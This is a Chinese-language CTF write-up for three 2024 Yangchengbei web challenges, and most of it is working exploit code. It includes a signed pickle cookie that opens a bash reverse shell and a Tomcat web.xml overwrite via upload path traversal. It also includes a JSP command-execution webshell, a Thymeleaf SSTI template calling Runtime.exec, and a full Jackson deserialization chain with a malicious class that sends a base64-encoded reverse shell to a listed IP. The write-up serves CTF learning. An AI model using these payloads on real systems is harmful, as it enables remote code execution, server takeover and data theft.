2024 羊城杯 web方向wp
真爱和自由 发表于 四川 CTF 878浏览 · 2024-08-28 04:35

Lyrics For You

/lyrics?lyrics=/proc/1/cmdline得到su-cexec python3 -u /usr/etc/app/app.pyplayer,访问/lyrics?lyrics=/usr/etc/app/app.py得到源码

import os
import random

from config.secret_key import secret_code
from flask import Flask, make_response, request, render_template
from cookie import set_cookie, cookie_check, get_cookie
import pickle

app = Flask(__name__)
app.secret_key = random.randbytes(16)


class UserData:
    def __init__(self, username):
        self.username = username


def Waf(data):
    blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']
    valid = False
    for word in blacklist:
        if word.lower() in data.lower():
            valid = True
            break
    return valid


@app.route("/", methods=['GET'])
def index():
    return render_template('index.html')


@app.route("/lyrics", methods=['GET'])
def lyrics():
    resp = make_response()
    resp.headers["Content-Type"] = 'text/plain; charset=UTF-8'
    query = request.args.get("lyrics")
    path = os.path.join(os.getcwd() + "/lyrics", query)

    try:
        with open(path) as f:
            res = f.read()
    except Exception as e:
        return "No lyrics found"
    return res


@app.route("/login", methods=['POST', 'GET'])
def login():
    if request.method == 'POST':
        username = request.form["username"]
        user = UserData(username)
        res = {"username": user.username}
        return set_cookie("user", res, secret=secret_code)
    return render_template('login.html')


@app.route("/board", methods=['GET'])
def board():
    invalid = cookie_check("user", secret=secret_code)
    if invalid:
        return "Nope, invalid code get out!"

    data = get_cookie("user", secret=secret_code)

    if isinstance(data, bytes):
        a = pickle.loads(data)
        data = str(data, encoding="utf-8")

    if "username" not in data:
        return render_template('user.html', name="guest")
    if data["username"] == "admin":
        return render_template('admin.html', name=data["username"])
    if data["username"] != "admin":
        return render_template('user.html', name=data["username"])


if __name__ == "__main__":
    os.chdir(os.path.dirname(__file__))
    app.run(host="0.0.0.0", port=8080)

/lyrics?lyrics=/usr/etc/app/config/secret_key.py

secret_code = "EnjoyThePlayTime123456"

/lyrics?lyrics=/usr/etc/app/cookie.py

import base64
import hashlib
import hmac
import pickle

from flask import make_response, request

unicode = str
basestring = str


# Quoted from python bottle template, thanks :D

def cookie_encode(data, key):
    msg = base64.b64encode(pickle.dumps(data, -1))
    sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())
    return tob('!') + sig + tob('?') + msg


def cookie_decode(data, key):
    data = tob(data)
    if cookie_is_encoded(data):
        sig, msg = data.split(tob('?'), 1)
        if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())):
            return pickle.loads(base64.b64decode(msg))
    return None


def waf(data):
    blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']
    valid = False
    for word in blacklist:
        if word in data:
            valid = True
            # print(word)
            break
    return valid


def cookie_check(key, secret=None):
    a = request.cookies.get(key)
    data = tob(request.cookies.get(key))
    if data:
        if cookie_is_encoded(data):
            sig, msg = data.split(tob('?'), 1)
            if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(secret), msg, digestmod=hashlib.md5).digest())):
                res = base64.b64decode(msg)
                if waf(res):
                    return True
                else:
                    return False
        return True
    else:
        return False


def tob(s, enc='utf8'):
    return s.encode(enc) if isinstance(s, unicode) else bytes(s)


def get_cookie(key, default=None, secret=None):
    value = request.cookies.get(key)
    if secret and value:
        dec = cookie_decode(value, secret)
        return dec[1] if dec and dec[0] == key else default
    return value or default


def cookie_is_encoded(data):
    return bool(data.startswith(tob('!')) and tob('?') in data)


def _lscmp(a, b):
    return not sum(0 if x == y else 1 for x, y in zip(a, b)) and len(a) == len(b)


def set_cookie(name, value, secret=None, **options):
    if secret:
        value = touni(cookie_encode((name, value), secret))
        resp = make_response("success")
        resp.set_cookie("user", value, max_age=3600)
        return resp
    elif not isinstance(value, basestring):
        raise TypeError('Secret key missing for non-string Cookie.')

    if len(value) > 4096:
        raise ValueError('Cookie value to long.')


def touni(s, enc='utf8', err='strict'):
    return s.decode(enc, err) if isinstance(s, bytes) else unicode(s)

很明显在源码app.py中

data = get_cookie("user", secret=secret_code)

if isinstance(data, bytes):
    a = pickle.loads(data)
    data = str(data, encoding="utf-8")

可以打pickle反序列化,过滤了R就用i指令,过滤了eval就用system,加密逻辑直接用cookie.py中的就行,弹个shell,payload

data = (
    "user", '''(S"bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'"
ios
system
.'''.encode()
)

value = touni(cookie_encode(data,"EnjoyThePlayTime123456"))

最后/board路由对Cookie的user传值即可

tomtom2

首先进入页面

可以查看我们的环境变量,读取文件,登录,那登录自然是需要账号密码的,而tomcat中

该目录主要是用来存放tomcat的一些配置文件。
重要提示:
server.xml可以设置端口号、设置域名或IP、默认加载的项目、请求编码;
web.xml可以设置tomcat支持的文件类型;
context.xml可以用来配置数据源之类的信息;
tomcat-users.xml用来配置管理tomcat的用户与权限;
在catalina目录下可以设置默认加载的项目。

所以选择读取tomcat-users.xml来获取账号密码

登录成功后可以上传文件

发现只能上传xml文件,但是打tomcat只能上传xml文件的话,不能上传jsp文件根本打不了,这里想到是否可以去覆盖我们的web.xml

就像php文件上传去上传配置文件将jpg解析为php一样的效果

但是还有一个问题,就是我们的文件上传到哪里了?

发现有一个path参数决定上传的目录

也是能够成功访问到了,我们试着目录穿越去覆盖我们的web.xml文件

POST /myapp/upload?path=../../../../../../opt/tomcat/conf HTTP/1.1
Host: 139.155.126.78:39463
Content-Length: 900
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://139.155.126.78:39463
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjftvCbAe6YLSIqPQ
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://139.155.126.78:39463/myapp/upload.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=FF4B7A44C93C15DDDF7F26FEF1E48951; JSESSIONID=3C44B61A9E86D6CF50A07EB7299BD5EC
Connection: keep-alive

------WebKitFormBoundaryjftvCbAe6YLSIqPQ
Content-Disposition: form-data; name="file"; filename="web.xml"
Content-Type: text/plain

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
                             http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd"
         version="3.1">
<servlet-mapping>
    <servlet-name>jsp</servlet-name>
    <url-pattern>*.xml</url-pattern>
</servlet-mapping>
        <servlet>
    <servlet-name>jsp</servlet-name>
    <servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>

</servlet>
<servlet-mapping>
    <servlet-name>jsp</servlet-name>
    <url-pattern>*.jsp</url-pattern>
</servlet-mapping>

</web-app>
------WebKitFormBoundaryjftvCbAe6YLSIqPQ--

然后上传一个jsp的一句话木马

POST /myapp/upload?path=uploads HTTP/1.1
Host: 139.155.126.78:39463
Content-Length: 553
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://139.155.126.78:39463
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFNdI52OY8Z6Ms0FP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://139.155.126.78:39463/myapp/upload.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=FF4B7A44C93C15DDDF7F26FEF1E48951; JSESSIONID=3C44B61A9E86D6CF50A07EB7299BD5EC
Connection: keep-alive

------WebKitFormBoundaryFNdI52OY8Z6Ms0FP
Content-Disposition: form-data; name="file"; filename="lll.xml"
Content-Type: text/xml

<%
    if("111".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>
------WebKitFormBoundaryFNdI52OY8Z6Ms0FP--

然后执行命令就好了

2024 羊城杯 ez_java

重要源码

user.php

package ycbjava.bean;

import java.io.Serializable;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;

/* loaded from: User.class */
public class User implements Serializable {
    public String username;
    public String password;
    public String gift;

    public User() {
        this.username = "admin";
        this.password = "admin888";
    }

    public String getGift() {
        String gift = this.username.trim().toLowerCase();
        if (gift.startsWith("http") || gift.startsWith("file")) {
            gift = "nonono";
        }
        try {
            URL url1 = new URL(gift);
            Class<?> URLclass = Class.forName("java.net.URLClassLoader");
            Method add = URLclass.getDeclaredMethod("addURL", URL.class);
            add.setAccessible(true);
            URLClassLoader classloader = (URLClassLoader) ClassLoader.getSystemClassLoader();
            add.invoke(classloader, url1);
        } catch (Exception e) {
            e.printStackTrace();
        }
        return gift;
    }

    public void setGift(String gift) {
        this.gift = gift;
    }

    public User(String username, String password) {
        this.username = "admin";
        this.password = "admin888";
        this.username = username;
        this.password = password;
    }

    public String getUsername() {
        return this.username;
    }

    public void setUsername(String username) {
        this.username = username;
    }

    public String getPassword() {
        return this.password;
    }

    public void setPassword(String password) {
        this.password = password;
    }
}

主要是账号密码和getGift方法可以通过给urlclassloader加载远程路径

MyObjectInputStream.java

package ycbjava.utils;

import java.io.*;

/* loaded from: MyObjectInputStream.class */
public class MyObjectInputStream extends ObjectInputStream {
    private static final String[] blacklist = {"java.lang.Runtime", "java.lang.ProcessBuilder", "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "java.security.SignedObject", "com.sun.jndi.ldap.LdapAttribute", "org.apache.commons.beanutils", "org.apache.commons.collections", "javax.management.BadAttributeValueExpException", "com.sun.org.apache.xpath.internal.objects.XString"};

    public MyObjectInputStream(InputStream inputStream) throws IOException {
        super(inputStream);
    }

    @Override // java.io.ObjectInputStream
    protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
        String className = desc.getName();
        String[] var3 = blacklist;
        for (String forbiddenPackage : var3) {
            if (className.startsWith(forbiddenPackage)) {
                throw new InvalidClassException("Unauthorized deserialization attempt", className);
            }
        }
        return super.resolveClass(desc);
    }
}

主要是waf,把我们的命令执行类和远程加载字节码类,二次反序列化类都给禁用了

我们的路由

package ycbjava.controler;

import ycbjava.utils.MyObjectInputStream;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.multipart.MultipartFile;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.OpenOption;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Base64;

@Controller
/* loaded from: UserControler.class */
public class UserControler {
    @RequestMapping({"/user/index"})
    public String index() {
        return "index";
    }

    @PostMapping({"/user/ser"})
    @ResponseBody
    public String ser(@RequestParam("ser") String ser) throws IOException, ClassNotFoundException {
        byte[] decode = Base64.getDecoder().decode(ser);
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        byteArrayOutputStream.write(decode);
        MyObjectInputStream objectInputStream = new MyObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
        objectInputStream.readObject();
        return "Success";
    }

    @PostMapping({"/user/upload"})
    @ResponseBody
    public String handleFileUpload(MultipartFile file) {
        if (file.isEmpty()) {
            return "File upload failed";
        }
        try {
            String fileName = file.getOriginalFilename();
            int index = fileName.lastIndexOf(".");
            if (fileName.contains("../") || fileName.contains("..\\")) {
                return "File upload failed";
            }
            String suffix = fileName.substring(index);
            if (suffix.equals(".jsp")) {
                return "File upload failed";
            }
            byte[] bytes = file.getBytes();
            Path path = Paths.get("/templates/" + fileName, new String[0]);
            Files.write(path, bytes, new OpenOption[0]);
            return "File upload success";
        } catch (Exception e) {
            e.printStackTrace();
            return "File upload failed";
        }
    }
}

可以上传文件,还可以去反序列化

依赖

思路一

一开始是相当是上传html文件,去打thymeleaf模板注入

但是高版本需要绕过,怎么绕过也是学过了

如下

<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
</head>
<body>

<tr
        th:with="getRuntimeMethod=${T(org.springframework.util.ReflectionUtils).findMethod(T(org.springframework.util.ClassUtils).forName('java.lang.Runtime',T(org.springframework.util.ClassUtils).getDefaultClassLoader()), 'getRuntime' )}"
>
    <td>
        <a
                th:with="runtimeObj=${T(org.springframework.util.ReflectionUtils).invokeMethod(getRuntimeMethod, null)}"
        >
            <a
                    th:with="exeMethod=${T(org.springframework.util.ReflectionUtils).findMethod(T(org.springframework.util.ClassUtils).forName('java.lang.Runtime',T(org.springframework.util.ClassUtils).getDefaultClassLoader()), 'exec', ''.getClass() )}"
            >
                <a
                        th:with="param2=${T(org.springframework.util.ReflectionUtils).invokeMethod(exeMethod, runtimeObj, 'calc' )
                }"
                        th:href="${param2}"
                ></a>
            </a>

        </a>
    </td>
</tr>

</body>
</html>

然后发现如果上传同名文件,可以替换文件,页面又会用html渲染,所以思路就是替换同名文件,然后去渲染之后

但是发现一个问题,spring是启动后就不会再去渲染你的html了,即使是覆盖了,html也是启动的时候早就加载好的了

思路二

从user.java入手打反序列化,我们如果能够触发getter方法,那么就可以去把远程path加载进去

之后就可以懒加载我们的类了

如何触发getter方法呢?

首先cc,cb大不了,只能打jackson的原生反序列化,触发同string的javax.management.BadAttributeValueExpException", "com.sun.org.apache.xpath.internal.objects.XString

被禁用了,那我们就需要找其他的触发Tostring的方法

这里一开始是使用的alyctf的那个触发tostring的链子

但是发现传入数据的时候要报错,而且自己也是解决不了,奇怪的是直接传入数据就没有问题,但是如果是通过参数传入数据就要报错

所以最后选择了

https://www.aiwin.fun/index.php/archives/4420/

链子

然后就是还需要绕过我们的

public String getGift() {
        String gift = this.username.trim().toLowerCase();
        if (gift.startsWith("http") || gift.startsWith("file")) {

即使触发了getter,还需要绕过http,file

当时第一想法是使用rmi://。。。但是跟踪代码后不行,然后跟踪代码发现了

我后面认证我的协议的时候如果前面是url:,那么起始位置就加四个,然后我就通过url:http://。。。。这样去绕过

paylaod如下

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import sun.reflect.ReflectionFactory;
import ycbjava.bean.User;

import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class jacksonHashMap {
    public static void main(String[] args) throws Throwable {
        CtClass ctClass= ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod writeReplace=ctClass.getDeclaredMethod("writeReplace");
        ctClass.removeMethod(writeReplace);
        ctClass.toClass();


        User user=new User("url:http://49.232.222.195:8000","admin888");
        POJONode pojoNode = new POJONode(user);

        Class<?> innerClass=Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap");
        Map map1= (HashMap) createWithoutConstructor(innerClass);
        Map map2= (HashMap) createWithoutConstructor(innerClass);
        map1.put(pojoNode,"111");
        map2.put(pojoNode,"222");

        Field field=HashMap.class.getDeclaredField("loadFactor");
        field.setAccessible(true);
        field.set(map1,1);

        Field field1=HashMap.class.getDeclaredField("loadFactor");
        field1.setAccessible(true);
        field1.set(map2,1);


        HashMap hashMap = new HashMap();
        hashMap.put(map1,"1");
        hashMap.put(map2,"1");
        setHashMapValueToNull(map1, pojoNode);//为了在HashMap.put时候就触发,通过反射变成null
        setHashMapValueToNull(map2, pojoNode);

        byte[] result=serialize(hashMap);
        System.out.println(serializeToBase64(hashMap));
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(result);
        ObjectInputStream ois = new ObjectInputStream(byteArrayInputStream);
        ois.readObject();

    }
    public static void setFieldValue(Object object, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field dfield = object.getClass().getDeclaredField(field);
        dfield.setAccessible(true);
        dfield.set(object, value);
    }
    public static String serializeToBase64(Object object) {
        try (ByteArrayOutputStream bos = new ByteArrayOutputStream();
             ObjectOutputStream oos = new ObjectOutputStream(bos)) {
            oos.writeObject(object);
            byte[] bytes = bos.toByteArray();
            return Base64.getEncoder().encodeToString(bytes);
        } catch (IOException e) {
            e.printStackTrace();
            return null;
        }
    }

    public static byte[] serialize(Object object) throws IOException {
        ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
        oos.writeObject(object);
        return byteArrayOutputStream.toByteArray();
    }

    public static <T> Object createWithoutConstructor (Class classToInstantiate )
            throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        return createWithoutConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
    }

    public static <T> T createWithoutConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
            throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
        objCons.setAccessible(true);
        Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
        sc.setAccessible(true);
        return (T)sc.newInstance(consArgs);
    }
    private static void setHashMapValueToNull(Map map, Object key) throws Exception {
        Field tableField = HashMap.class.getDeclaredField("table");
        tableField.setAccessible(true);
        Object[] table = (Object[]) tableField.get(map);

        for (Object node : table) {
            if (node == null) continue;

            Class<?> nodeClass = node.getClass();
            Field keyField = nodeClass.getDeclaredField("key");
            keyField.setAccessible(true);
            Object k = keyField.get(node);

            if (k != null && k.equals(key)) {
                Field valueField = nodeClass.getDeclaredField("value");
                valueField.setAccessible(true);
                valueField.set(node, null);
                break;
            }
        }
    }
}

然后第一次反序列化去把我们的class的路径加入进去

然后打两次反序列化

第二次就是我们类的序列化代码

恶意类,注意需要继承Serializable

import ycbjava.bean.User;

import java.io.*;

public class exp implements Serializable {
    static {
        try {
            Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80OS4yMzIuMjIyLjE5NS8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.Base64;

public class FileToBase64 {
    public static void main(String[] args) {
//        test test = new test();
//        String base64Encoded = serializeToBase64(test);
        exp exp=new exp();
        String base64Encoded = serializeToBase64(exp);
        System.out.println(base64Encoded);
    }

    public static String serializeToBase64(Object object) {
        try (ByteArrayOutputStream bos = new ByteArrayOutputStream();
             ObjectOutputStream oos = new ObjectOutputStream(bos)) {
            oos.writeObject(object);
            byte[] bytes = bos.toByteArray();
            return Base64.getEncoder().encodeToString(bytes);
        } catch (IOException e) {
            e.printStackTrace();
            return null;
        }
    }
}

分别把两次的序列化数据传进去,在这之前你需要在你的公网服务器上放上这个class文件

第一次的时候把path添加进去,第二次就是反序列化这个类的话,url是懒加载,就会去加载这个class了

加载到你的类的时候就会弹出计算器

注意机会只有一次,因为如果加载过了,那么就不会再次去加载了

方法二 利用jar协议

首先我们去学习一下jar协议

Jar URL格式

jar:<url>!/{entry} 如:jar:http://www.example.com/ex.jar!/com/demo/Class.class1

*Jar URL作用**

Jar包中资源文件的路径表示

相当于你可以访问jar里面的class

那其实思路就是自己构建一个jar包,里面有我们的恶意类,然后放在公网服务器上,通过jar协议添加path

POC

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import sun.reflect.ReflectionFactory;
import ycbjava.bean.User;

import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class jacksonHashMap {
    public static void main(String[] args) throws Throwable {
        CtClass ctClass= ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod writeReplace=ctClass.getDeclaredMethod("writeReplace");
        ctClass.removeMethod(writeReplace);
        ctClass.toClass();


        User user=new User("jar:http://49.232.222.195:8000/exp.jar!/","admin");
        POJONode pojoNode = new POJONode(user);

        Class<?> innerClass=Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap");
        Map map1= (HashMap) createWithoutConstructor(innerClass);
        Map map2= (HashMap) createWithoutConstructor(innerClass);
        map1.put(pojoNode,"111");
        map2.put(pojoNode,"222");

        Field field=HashMap.class.getDeclaredField("loadFactor");
        field.setAccessible(true);
        field.set(map1,1);

        Field field1=HashMap.class.getDeclaredField("loadFactor");
        field1.setAccessible(true);
        field1.set(map2,1);


        HashMap hashMap = new HashMap();
        hashMap.put(map1,"1");
        hashMap.put(map2,"1");
        setHashMapValueToNull(map1, pojoNode);//为了在HashMap.put时候就触发,通过反射变成null
        setHashMapValueToNull(map2, pojoNode);

        byte[] result=serialize(hashMap);
        System.out.println(serializeToBase64(hashMap));
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(result);
        ObjectInputStream ois = new ObjectInputStream(byteArrayInputStream);
        ois.readObject();

    }
    public static void setFieldValue(Object object, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field dfield = object.getClass().getDeclaredField(field);
        dfield.setAccessible(true);
        dfield.set(object, value);
    }
    public static String serializeToBase64(Object object) {
        try (ByteArrayOutputStream bos = new ByteArrayOutputStream();
             ObjectOutputStream oos = new ObjectOutputStream(bos)) {
            oos.writeObject(object);
            byte[] bytes = bos.toByteArray();
            return Base64.getEncoder().encodeToString(bytes);
        } catch (IOException e) {
            e.printStackTrace();
            return null;
        }
    }

    public static byte[] serialize(Object object) throws IOException {
        ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
        oos.writeObject(object);
        return byteArrayOutputStream.toByteArray();
    }
    public static byte[] getTemplates() throws NotFoundException, CannotCompileException, IOException {
        ClassPool pool = ClassPool.getDefault();
        CtClass template = pool.makeClass("Test");
        template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        String block = "Runtime.getRuntime().exec(\"calc\");";
        template.makeClassInitializer().insertBefore(block);
        return template.toBytecode();

    }

    public static <T> Object createWithoutConstructor (Class classToInstantiate )
            throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        return createWithoutConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
    }

    public static <T> T createWithoutConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
            throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
        objCons.setAccessible(true);
        Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
        sc.setAccessible(true);
        return (T)sc.newInstance(consArgs);
    }
    private static void setHashMapValueToNull(Map map, Object key) throws Exception {
        Field tableField = HashMap.class.getDeclaredField("table");
        tableField.setAccessible(true);
        Object[] table = (Object[]) tableField.get(map);

        for (Object node : table) {
            if (node == null) continue;

            Class<?> nodeClass = node.getClass();
            Field keyField = nodeClass.getDeclaredField("key");
            keyField.setAccessible(true);
            Object k = keyField.get(node);

            if (k != null && k.equals(key)) {
                Field valueField = nodeClass.getDeclaredField("value");
                valueField.setAccessible(true);
                valueField.set(node, null);
                break;
            }
        }
    }
}

然后一样的了,去输入class的序列化流

2 条评论
某人
表情
可输入 255